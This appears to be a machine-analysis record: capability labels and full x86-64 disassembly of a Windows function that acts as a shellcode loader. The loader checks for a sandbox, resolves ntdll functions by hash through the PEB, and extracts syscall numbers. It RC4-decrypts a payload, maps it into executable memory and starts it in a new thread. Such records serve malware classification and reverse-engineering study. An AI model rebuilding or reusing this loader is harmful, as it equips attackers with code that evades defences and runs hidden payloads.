Function at 0x140001070
Capabilities:
Access peb ldr_data
Check os version
Encrypt data using rc4 via systemfunction032
Get memory capacity
Get number of processors
Get system information on windows
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x1400013d5
cmp dword [rax + 0x118], 0xa
jne 0x1400013d5
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
mov rcx, qword [rax + 0x20]
mov rbx, qword [rcx]
lea rcx, [rbp - 0x20]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp], 3
jb 0x1400011ee
xor r15d, r15d
mov qword [rbp - 0x60], 0x40
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x14000113c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____GlobalMemoryStatusEx_Failed_With_Error_:__d__n
call fcn.140001010
cmp dword [rbp - 0x58], 0x80000000
jbe 0x14000168b
mov rcx, qword [rbx + 0x20]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400013d5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400013d5
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
je 0x1400013d5
lea rax, [0x1400051d8]
mov dword [rsp + 0x78], 0x10
lea rsi, [0x1400050c0]
mov qword [rbp - 0x80], rax
lea rcx, str.Advapi32
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x7c], 0x10
mov dword [rsp + 0x60], 0x114
mov dword [rsp + 0x64], 0x114
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call rax
test eax, eax
je 0x1400011f8
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400013da
mov ecx, 0x60
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x70], 0x114
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x140001692
mov ecx, 0x10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rcx, 0x2329e81ac5d1497a
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rcx, 0x2014d82f702e79d4
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x10], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rcx, 0xbb4a946a27b93797
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rcx, 0xf56ea80ef5031e7
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x30], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rdx, 0x8866eb7e75145f1a
mov qword [rax], rdx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001692
mov word [rax + 8], r15w
movabs rcx, 0xce67f958e7fb4666
mov qword [rax], rcx
xor edx, edx
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x50], xmm0
mov r15, qword [rbx + 0x20]
movzx ebx, dx
mov r12d, dword [rdi + 0x1c]
mov r13d, dword [rdi + 0x20]
add r12, r15
mov ecx, dword [rdi + 0x24]
add r13, r15
add rcx, r15
mov qword [rsp + 0x60], rcx
cmp dword [rdi + 0x18], edx
jbe 0x14000148f
movzx eax, bx
mov r10, rdx
mov r9, r14
mov r11d, dword [r13 + rax*4]
movzx eax, word [rcx + rax*2]
add r11, r15
mov r8d, dword [r12 + rax*4]
add r8, r15
nop
movzx eax, byte [r11]
mov rdx, r11
movabs rcx, 0x76346734deadbeef
test eax, eax
je 0x1400013b2
nop word [rax + rax]
imul rcx, rcx, 0x21
lea rdx, [rdx + 1]
add rcx, rax
movzx eax, byte [rdx]
test eax, eax
jne 0x1400013a0
cmp rcx, qword [r9]
jne 0x140001465
xor eax, eax
nop dword [rax]
movzx ecx, ax
movzx edx, byte [rcx + r8]
cmp dl, 0xf
jne 0x140001407
cmp byte [rcx + r8 + 1], 5
jne 0x140001442
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400016e0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp dl, 0xc3
je 0x1400013d5
cmp dl, 0x4c
jne 0x140001442
cmp byte [rcx + r8 + 1], 0x8b
jne 0x140001442
cmp byte [rcx + r8 + 2], 0xd1
jne 0x140001442
movzx ecx, ax
cmp byte [rcx + r8 + 3], 0xb8
jne 0x140001442
movzx ecx, ax
cmp byte [rcx + r8 + 6], 0
jne 0x140001442
movzx ecx, ax
cmp byte [rcx + r8 + 7], 0
je 0x14000144a
inc ax
jmp 0x1400013c0
movzx ecx, ax
movzx edx, byte [rcx + r8 + 5]
movzx eax, byte [rcx + r8 + 4]
shl dx, 8
or dx, ax
mov word [r9 + 8], dx
inc r10
add r9, 0x10
cmp r10, 6
jl 0x140001380
mov rcx, qword [rsp + 0x60]
inc bx
movzx eax, bx
mov edx, 0
cmp eax, dword [rdi + 0x18]
jb 0x140001362
mov rbx, r14
mov edi, 6
nop word [rax + rax]
mov rdx, qword [rbx]
lea rcx, str.Value:__llu_n
call fcn.140001010
movzx edx, word [rbx + 8]
lea rcx, str.Value:__llu_n
call fcn.140001010
lea rbx, [rbx + 0x10]
sub rdi, 1
jne 0x1400014a0
movzx ecx, word [r14 + 8]
call fcn.1400016b0
mov qword [rsp + 0x30], rdi
lea r9, [rbp - 0x70]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.1400016c1
test eax, eax
je 0x140001510
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
movzx ecx, word [r14 + 0x18]
mov qword [rsp + 0x60], rdi
call fcn.1400016b0
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0x60]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call fcn.1400016c1
test eax, eax
je 0x140001577
mov edx, eax
lea rcx, str.____NtMapViewOfSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov rbx, rdi
jmp 0x14000157c
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
mov eax, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rsi]
lea rsi, [rsi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rsi - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rsi - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rsi - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rsi - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rsi - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rsi - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rsi - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001584
movups xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
mov eax, dword [rsi + 0x10]
mov dword [rcx + 0x10], eax
movzx ecx, word [r14 + 0x48]
call fcn.1400016b0
mov qword [rsp + 0x50], rdi
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x48], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
call fcn.1400016c1
test eax, eax
je 0x14000163c
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001648
lea rcx, str.____NtCreateThreadEx_Success
call fcn.140001010
movzx ecx, word [r14 + 0x58]
call fcn.1400016b0
mov rcx, qword [rsp + 0x70]
call fcn.1400016c1
test eax, eax
je 0x140001670
mov edx, eax
lea rcx, str.____NTClose_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x14000167c
lea rcx, str.____NTClose_Success
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x1400013da
lea rcx, [0x1400032f0]
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3